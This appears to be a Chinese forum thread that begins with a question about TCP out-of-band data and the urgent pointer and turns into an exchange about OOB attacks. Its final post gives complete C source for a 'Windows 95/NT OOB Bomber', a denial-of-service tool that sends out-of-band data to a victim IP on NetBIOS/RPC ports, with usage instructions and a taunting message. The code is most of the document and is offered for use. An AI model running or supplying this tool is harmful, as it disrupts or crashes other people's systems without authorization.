3x

解决方案 »

  1.   

    As particular as possible
      

  2.   

    很麻烦带外数据,在数据内夹杂控制信息目前没有弄清楚它和TCP紧急指针指向的数据的关系
      

  3.   

    Out of Band
    可以找些资料看看,一句话怎么也不能明白
    我这里有OOB攻击的资料
      

  4.   

    [email protected]可以给我看看吗?
      

  5.   

    都是从一些网站下的,来这里找找看
    http://bydxj.com.cn/grzy/suker/forum
      

  6.   

    你说的应该是下面这个吧?
    在2000下试了一下,没什么不良影响呀!
     /*****************************************/
    /* Windows 95/NT OOB Bomber              */
    /* by Mr.Janker [email protected]           */
    /* http://janker.126.com                   */
    /*****************************************/#include <windows.h>
    #include <winsock.h>
    #include <stdio.h>/* attack the IP Address */
    char *IpAddr;/* attack the port is 135 or 137 or 139 */
    int IpPort;/* the message will be showed on the victim machine */
    char *Msg="You are bombed!";void Banner(void)
    {
      
    printf("Windows 95/NT OOB Bomber by Mr.Janker 1999.10.15\n\n");}int main(int argc, char *argv[])
    {
        struct sockaddr_in sin;
    WSADATA wsaData;
        
    SOCKET sd;Banner();if(argc!=3) {printf("Usage  : OOB Ip Port\n\nExample: OOB 127.0.0.1 135");
    return 1;
    }IpAddr=argv[1];
    IpPort=atoi(argv[2]);    /* Init the Winsock */
        if(WSAStartup(0x0101, &wsaData ))
        {
            printf("Init TCP/IP stack error!");
            return 1;
        }
        if(wsaData.wVersion != 0x0101)
        {
            printf("Winsock version is incorrect!");
            WSACleanup();
            return 1;
        }    /* Create the local socket */
        if ((sd = socket (PF_INET, SOCK_STREAM, IPPROTO_IP)) == INVALID_SOCKET) {
            printf("Create socket error!");
            return 1;
        }    /* Connect to the victim IP Address */
        sin.sin_family=AF_INET;
        sin.sin_addr.s_addr=inet_addr(IpAddr);
        sin.sin_port=htons((short)IpPort);
        if (connect (sd, (struct sockaddr *)&sin, sizeof (sin)) == SOCKET_ERROR) {
            printf("Connect the remote IP error!");
            closesocket (sd);
            WSACleanup();
            return 1;
        }    /* Send the OOB data */
        if (send (sd, Msg, strlen(Msg), MSG_OOB) == SOCKET_ERROR ) {
            printf("Send data error!");
            closesocket (sd);
            WSACleanup();
            return 1;
        }
        closesocket (sd);    WSACleanup();    printf("Bomb complete!");    return 0;
    }